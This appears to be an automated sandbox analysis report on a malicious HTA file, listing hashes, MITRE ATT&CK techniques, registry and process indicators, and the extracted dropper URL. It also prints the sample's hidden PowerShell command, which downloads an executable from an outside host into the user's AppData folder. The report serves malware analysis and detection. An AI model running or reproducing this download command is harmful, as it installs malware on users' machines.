bab1853454ca6fdd3acd471254101db1b805b601e309a49ec7b4b1fbcfc47ad7

Resubmissions

15-09-2024 09:57

240915-ly8zasyclp 10

15-09-2024 08:55

240915-kveqlswcnk 10

Analysis

max time kernel
357s
max time network
358s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-09-2024 08:55

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General

Target

myguy.hta
Size

13KB
MD5

0487382a4daf8eb9660f1c67e30f8b25
SHA1

736752744122a0b5ee4b95ddad634dd225dc0f73
SHA256

ee29b9c01318a1e23836b949942db14d4811246fdae2f41df9f0dcd922c63bc6
SHA512

e1e7d81d54efd526139ea8ac792ed2035c8e70f040319c0b65f723431d31077c7a6927553890c99151f2354f51c4020ed94e0e2e5d56386c2fc4828e95869106
SSDEEP

192:ScIsmNvaHz65bP/U/njs3NH0Z0UvDVE6Az6XVHBycT6iLMUpJ2seCYHlfeb:SPXTmnjs3BU9A27BNLMUTb

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://french-cooking.com/myguy.exe

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1628 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1628 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
5	1628	powershell.exe

pid	process
1628	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mshta.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1628 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1628 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1628	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 1868 wrote to memory of 1628	1868	mshta.exe	powershell.exe
PID 1868 wrote to memory of 1628	1868	mshta.exe	powershell.exe
PID 1868 wrote to memory of 1628	1868	mshta.exe	powershell.exe
PID 1868 wrote to memory of 1628	1868	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\myguy.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.com/myguy.exe', 'C:\Users\Admin\AppData\Roaming\14948.exe');
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1868-0-0x00000000031F0000-0x0000000003210000-memory.dmp

Filesize
128KB

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